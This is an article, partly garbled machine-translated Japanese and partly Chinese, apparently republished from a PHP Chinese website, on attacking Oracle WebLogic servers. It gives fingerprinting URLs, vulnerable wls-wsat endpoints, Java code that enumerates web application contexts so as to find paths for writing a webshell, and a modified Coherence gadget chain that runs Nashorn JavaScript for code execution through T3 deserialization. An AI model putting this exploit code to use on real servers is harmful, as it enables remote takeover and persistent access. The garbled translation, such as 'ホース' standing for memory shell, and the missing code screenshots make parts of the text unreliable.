WebLogic の攻撃手法とは何ですか?

はじめに

WebLogic サーバーは、大規模で複雑なアーキテクチャが特徴であり、青チームが防御するのは一般に難しく、ほとんどが外部ネットワークにデプロイされます。また、WebLogic は攻撃コストが比較的低く、脆弱性がある限り、通常は対象サーバーの root 権限を直接取得できます。攻撃と守備の練習中、すべての主要な攻撃チームと守備陣がこのことに集中した。

もちろん、私が作成したツールも含め、現在インターネット上で入手可能なさまざまな exp プログラムには多かれ少なかれ問題があります。そこで最近、友人からのリクエストで、いくつかの攻撃方法と「完璧な」用途を整理しました。赤のチームはそれを使用して独自のツールを改善し、青のチームはそれを使用してトレーサビリティ レポートを作成できます。

1. weblogic に脆弱性があるかどうかを検出する

現在インターネット上で入手可能な情報の中で、weblogic に脆弱性があるかどうかを判断するこれ以上に優れた方法はありません。通常、各種ツールのアプローチは一度expを使用するもので、成功すれば当然脆弱性が存在し、失敗すれば脆弱性は存在しません。または、DNSLOG を通じて検出します。これら 2 つの方法はさまざまな要因によって制限されるため、偽陽性と偽陽性の割合が高くなります。ハニーポットやwafなどのセキュリティデバイスのルールをトリガーすることも可能です。

もちろん、ここでは脆弱性の有無を確認するためのより簡単な方法、つまり T3 RMI の CODEBASE 機能を使用して Weblogic ブラックリストを確認する方法を紹介します。

codebase: 簡単に言うと、codebase はクラスをリモートでロードするためのパスです。オブジェクト送信者がオブジェクトをシリアル化すると、コードベース情報がシリアル化ストリームに追加されます。この情報は、受信者にオブジェクトの実行可能コードの場所を伝えます。

それでは、もう少し考えてみましょう。このクラスが Weblogic のブラックリスト クラスだったらどうなるでしょうか。 ?また、weblogic のコードベースは http プロトコルを使用してクラスを送信します。

利用方法はブラウザで相手がWeblogicサーバであることを確認し、URLは以下の通りです

T3デシリアライズブラックリストhttp: //xx :7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder blacklisthttp://192.168.119.130:8088//bea_wls_internal/classes/ weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 コードベース分析

weblogic.rjvm.InternalWebAppListener#contextInitialized のコードで、次のように登録します。そしてコードベースを処理する コード、つまりリクエストパスはclasses

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

weblogic.servlet.ClasspathServletの処理コードを見てみましょう クラス名を読んで書くだけなのでとても簡単ですhttp 応答に含めます。

もちろん、任意のファイルを読み取る脆弱性もありますか?答えは「はい」ですが、特定のサフィックスを持つファイルの読み取りを禁止するブラックリストがあります。ブラックリストのリストは次のとおりです。

#理論的には、CODEBASE を使用してユーザー クラスを読み取り、コード分析のためにローカルにダウンロードすることもできます。前提として、ユーザーのクラス名を知る必要があります。もちろんブラックリストもあります。ブラックリストは次のとおりです

## 2. Weblogic xmldecoder デシリアライゼーションの脆弱性

脆弱性についてはあまり紹介しません。なのでここでは割愛しますが、脆弱性の原因と分析。

脆弱性検出 URL

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

この脆弱性を悪用する難しさは次のとおりだと思います

1. インターネット上にはエコー コードのみが存在しますが、メモリ ホースなどの利用コードはありません。

2. ホースを作成すると、パスの問題が発生する可能性があります。 wenlogic のパスはランダムであり、現在インターネット上で公開されているソリューションは爆発的です。

3.すべてのコンテキストを見つけるにはどうすればよいですか?

#weblogic 10.x の exp を例として、それらを 1 つずつ解決してみましょう

xmldecoder の XML ペイロードは次の作業を実行しました

1 .weblogic.utils.Hex.fromHexString 関数を呼び出して、16 進エンコードされたクラス ファイルをバイナリ形式に変換します

##2. org.mozilla.classfile.DefiningClassLoader の defineClass メソッドを呼び出して、上記のクラスをロードしますファイルを仮想マシン Medium

3. newInstance メソッドを呼び出して、上記の JVM に追加されたクラスのインスタンスを生成します

#4. インスタンス メソッドを呼び出して攻撃を完了します

payload実際には、簡単に見てみると、xmldecoder の書き方がわかります。ここでは詳しく説明しません。

上記の質問はすべて、実際には 1 つの質問に要約できます。つまり、WebLogic ですべての Web アプリケーションのコンテキストを見つけるにはどうすればよいでしょうか?

ここでは、weblogic 10/12 でテストされており、プロトコルの影響を受けないメソッドを公開します。つまり、weblogic でコードを実行できる限り、すべての weblogic webcontext を取得できます。 。コードは以下のように表示されます

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<webappservletcontext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;</webappservletcontext>

2.1 获取随机路径

利用上面的代码，获取到weblogic 加载的所有的web context后，我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置，然后写入webshell。

我的代码如下

List<webappservletcontext> contexts = findAllContext();
Iterator<webappservletcontext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>

截图如下

2.2 weblogic 12.x payload

weblogic 12.x 中，没有org.mozilla.classfile.DefiningClassLoader这个类，况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式，那就是通过java调用js。

从 JDK 1.8 开始，Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性，其中包含在 JDK 7 中引入的 invokedynamic，将 JavaScript 编译成 Java 字节码。

注意，不支持1.5以及1.5以下的JVM

在java执行js时，可以调用任意java对象，方法，类。需要注意的是，java是强类型语言，而js是弱类型语言，js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码，改成js就可以，在这里我贴一张截图

在nashorn中，默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具， 。当然也有一点点bug，不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话，参考前面的黑名单下载方式

当然，T3反序列化中也有很多坑，例如 cve-2020-2555 等，无法做到类似于CC链的任意代码执行，目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包，部署恶意代码。

但是我们依旧可以通过反序列化的链式执行，调用nashorn的方式，间接做到任意代码执行。

而我们待执行的js，通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

image-20210329124530132

当然，corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

以上がWebLogic の攻撃手法とは何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。